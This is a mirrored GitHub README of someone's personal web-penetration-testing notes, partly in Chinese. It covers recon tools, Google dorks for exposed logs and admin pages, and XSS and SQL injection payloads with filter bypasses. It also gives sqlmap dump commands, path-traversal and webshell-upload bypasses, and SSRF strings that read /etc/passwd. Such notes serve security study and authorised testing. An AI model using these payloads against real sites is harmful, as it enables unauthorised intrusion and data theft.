Giter Club home page Giter Club logo

pentesting_record's Introduction

Web_Pentest

Table of Contents

別的大神的筆記資源

Tools

別的大神整理的工具

OSINT/Recon

Port scan

  • rustscan
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb

sudo dpkg -i rustscan_2.0.1_amd64.deb

rustscan -a <ip> 

image

DNS/IP

web_info

subdomain

web scanner

mail

convert/decode/decrypt/

hash

fingerprint information

Information Leakage & search for vulnerbility

Google Hacking

- sensitive directory:   
   - index of:/robots.txt
   - index of:/.svn
   - index of:/.git
   - index of:/.htaccess
   - ...
   
   - inurl:access.log
   - inurl:error.log
   - inurl:"admin"
   - ...
   
   - inurl:"admin.php"
   - inurl:"login.aspx"
   - inurl:"login.php"
   - ...
   
   - inurl:"phpMyAdmin"
   - inurl:"access.log"
   - ...
   
   - 運用inurl特性靈活過濾:臺灣domain: inurl:.tw、site:.tw

web leak information

sensitive directory/path

  • .git
  • .svn
  • robots.txt
  • .htaccess
  • web.config

Port vuln exploit

21/ftp

connect command:
> ftp <IP>
> telnet <IP>
> nc -C

WEB exploitation

XSS

心得與找security bug的方法:

1.找到注入點:

反射型XSS常出現在搜尋框url登入頁面(出現在GET參數後機率高)

儲存型XSS常出現在留言板 (可以用Google Hacking搜尋intext:"留言板" AND site:xxx.xxx.xxxintitle:"留言板 AND site:xxx.xxx.xxx")

2.注入基本payload觀察回應:

我自己常用 "><script>alert(1)</script>,常會出現以下情況:

- 直接噴alert框

- <script>被擋掉 --> 

  換tag bypass (<iframe>、<img>)
  
  編碼 bypass (url encode、double url encode、html entities...)
  
  雙tag bypass (<scr<script>ipt>alert(1)</scr</script>ipt>)
  
  大小寫混和 bypass (<ScRiPt>alert(1)</ScRiPt>)
  
  雙tag + 大小寫混和 bypass (<ScR<script>IpT>)

3.利用滑鼠右鍵 --> 檢查,找出漏洞可能出現的地方,通常出現在網頁上

4.繼續依照source code修改payload,一邊必須觀察可能的filter,並靈活運用bypass

Basic payload:

- "><script>alert(1)</script>
- '>alert(1)</script>
- <iframe onload="alert(1)"></iframe>
- <script>alert(1)</script>

filter bypass:

- [%27al\x65rt%27](document.domain);//
- window[‘alert’](0)
- parent[‘alert’](1)
- self[‘alert’](2)
- top[‘alert’](3)
- this[‘alert’](4)
- frames[‘alert’](5)
- content[‘alert’](6)
- constructor.constructor(“aler”+”t(3)”)();
- [].filter.constructor(‘ale’+’rt(4)’)();
- top[“al”+”ert”](5);
- top[8680439..toString(30)](7);
- top[/al/.source+/ert/.source](8);
- top[‘al\x65rt’](9);

by https://medium.com/@tobydavenn/dom-xss-on-a-gov-domain-bypassing-waf-93daec67fda9 https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309

payload

SQL injection

心得與找security bug的方法:

test:

http://example.com?id=1'

http://example.com?id=' or 1=1 --  
http://example.com?id=' or 1=2 --   

http://example.com?id=1%27 

1.找到注入點:

SQL injection常出現在搜尋框url登入頁面(有機會非法登入)(出現在GET參數後機率高)

2.注入基本payload觀察回應:

我自己常用 ' or 1=1 --admin' or 1=1 --,常會出現以下情況:

  • 直接登入

  • 帳號密碼錯誤或其它錯誤

  • 根本沒東西

bypass:

繞過方法與xss大同小異

  • 編碼 bypass
    • 空白:%20、+、
  • 大小寫混和 bypass
  • 註解 bypass(須注意不同DB使用的語法): -- 可替換為:/**/#

sqlmap

GET method: sqlmap -u "http://example.com?id=1" -p指定parameter

POST method:

  1. sqlmap -u "http://example.com" --method POST
  2. sqlmap -r post.txt -p <parameter>

HTTP header SQL injection: --headers or -H 在header值的地方加上 *

add --dump, --dbs, --random-agent

--dump --> 拿到資料庫 --dump -D -tables --> 拿到 table name --dump -D -T

-columns --> 拿到columns name --dump -D -T
-C --> dump 值

LFI

protocal:

  • file://
  • gopher://
  • ...

Path traversal: file:../../../../../../../../{path} (越多越好)

  • bypass:
    • ....//....//....//....//....//
    • ../\../\../\../\../\../\
    • url encode、double url encode

upload

Basic webshell filename:

  • shell.php
  • shell.asp

bypass filename:

shell.php
shell.pHp
shell.PhP
shell.php;jpg
shell.php.jpg

Test webshell:

  • <?php phpInfo();?>

SSRF

Test for SSRF vulnerbility

http://example.com?url={payload}
http://example.com?lang={payload}

Basic payload:

127.0.0.1
localhost
192.168.0.1
127.00000.00000.00001
127.0.1
127.1
localhost

SSRF to LFI

http://example.com?url=file:///etc/passwd  #for linux OS

http://example.com?url=...
- php://filter/convert.base64-encode/resource=index.php
- php://filter/convert.base64-decode/resource=index.php

Reverse shell

Post-PT

Linux Privilege Escalating

Windows Privilege Escalating

lateral movement

pentesting_record's People

Contributors

jonafk555 avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.